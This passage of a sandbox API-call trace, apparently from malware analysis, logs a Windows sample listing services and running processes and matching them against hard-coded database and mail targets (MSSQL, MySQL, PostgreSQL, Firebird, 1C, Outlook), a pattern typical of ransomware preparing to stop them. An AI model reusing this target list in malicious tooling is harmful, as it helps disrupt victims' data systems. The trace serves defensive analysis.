lpResumeHandle=0x0) returned 1 [0063.675] CloseServiceHandle (hSCObject=0x740060) returned 1 [0063.676] lstrlenW (lpString="Appinfo") returned 7 [0063.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.676] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.676] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.676] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.676] lstrlenW (lpString="AudioSrv") returned 8 [0063.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.676] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.676] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.676] lstrlenW (lpString="BFE") returned 3 [0063.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.676] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.676] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.676] lstrlenW (lpString="CryptSvc") returned 8 [0063.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.676] lstrlenW (lpString="CscService") returned 10 [0063.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.677] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.677] lstrlenW (lpString="DcomLaunch") returned 10 [0063.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.677] lstrlenW (lpString="Dhcp") returned 4 [0063.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.677] lstrlenW (lpString="Dnscache") returned 8 [0063.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.677] lstrlenW (lpString="DPS") returned 3 [0063.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.677] lstrlenW (lpString="eventlog") returned 8 [0063.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.677] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.677] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.678] lstrlenW (lpString="EventSystem") returned 11 [0063.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.678] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.678] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.678] lstrlenW (lpString="gpsvc") returned 5 [0063.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.678] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.678] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.678] lstrlenW (lpString="iphlpsvc") returned 8 [0063.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.678] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.678] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.678] lstrlenW (lpString="LanmanServer") returned 12 [0063.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.678] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.678] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.678] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.678] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.678] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.678] lstrlenW (lpString="lmhosts") returned 7 [0063.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.678] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.679] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.679] lstrlenW (lpString="MMCSS") returned 5 [0063.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.679] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.679] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.679] lstrlenW (lpString="MpsSvc") returned 6 [0063.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.679] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.679] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.679] lstrlenW (lpString="Netman") returned 6 [0063.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.679] lstrlenW (lpString="netprofm") returned 8 [0063.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.679] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.679] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.679] lstrlenW (lpString="NlaSvc") returned 6 [0063.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.679] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.679] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.679] lstrlenW (lpString="nsi") returned 3 [0063.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.680] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.680] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.680] lstrlenW (lpString="PcaSvc") returned 6 [0063.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.680] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.680] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.680] lstrlenW (lpString="PlugPlay") returned 8 [0063.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.680] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.680] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.680] lstrlenW (lpString="Power") returned 5 [0063.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.680] lstrlenW (lpString="ProfSvc") returned 7 [0063.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.681] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.681] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.681] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.681] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.681] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.681] lstrlenW (lpString="RpcSs") returned 5 [0063.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.681] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.681] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.681] lstrlenW (lpString="SamSs") returned 5 [0063.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.681] lstrlenW (lpString="Schedule") returned 8 [0063.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.681] lstrlenW (lpString="SENS") returned 4 [0063.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.681] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.682] lstrlenW (lpString="Spooler") returned 7 [0063.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.682] lstrlenW (lpString="swprv") returned 5 [0063.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0063.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0063.682] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0063.682] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0063.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0063.682] lstrlenW (lpString="SysMain") returned 7 [0063.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.682] lstrlenW (lpString="Themes") returned 6 [0063.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.682] lstrlenW (lpString="TrkWks") returned 6 [0063.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.682] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.682] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.682] lstrlenW (lpString="UxSms") returned 5 [0063.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.683] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.683] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.683] lstrlenW (lpString="VSS") returned 3 [0063.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0063.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0063.683] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0063.683] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0063.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0063.683] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.683] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.683] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.683] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.683] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.683] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.683] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.683] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.683] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.683] lstrlenW (lpString="Winmgmt") returned 7 [0063.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.684] lstrlenW (lpString="WPDBusEnum") returned 10 [0063.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0063.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0063.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0063.684] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0063.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0063.686] Process32FirstW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.686] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.687] lstrlenW (lpString="System") returned 6 [0063.687] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0063.687] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0063.687] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0063.687] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0063.687] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0063.687] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0063.687] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0063.687] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.687] lstrlenW (lpString="smss.exe") returned 8 [0063.688] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0063.688] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.688] lstrlenW (lpString="csrss.exe") returned 9 [0063.688] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0063.688] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0063.688] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0063.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0063.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0063.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0063.688] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.689] lstrlenW (lpString="wininit.exe") returned 11 [0063.689] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0063.689] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0063.689] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0063.689] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.690] lstrlenW (lpString="csrss.exe") returned 9 [0063.690] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.690] lstrlenW (lpString="winlogon.exe") returned 12 [0063.690] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.691] lstrlenW (lpString="services.exe") returned 12 [0063.691] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.691] lstrlenW (lpString="lsass.exe") returned 9 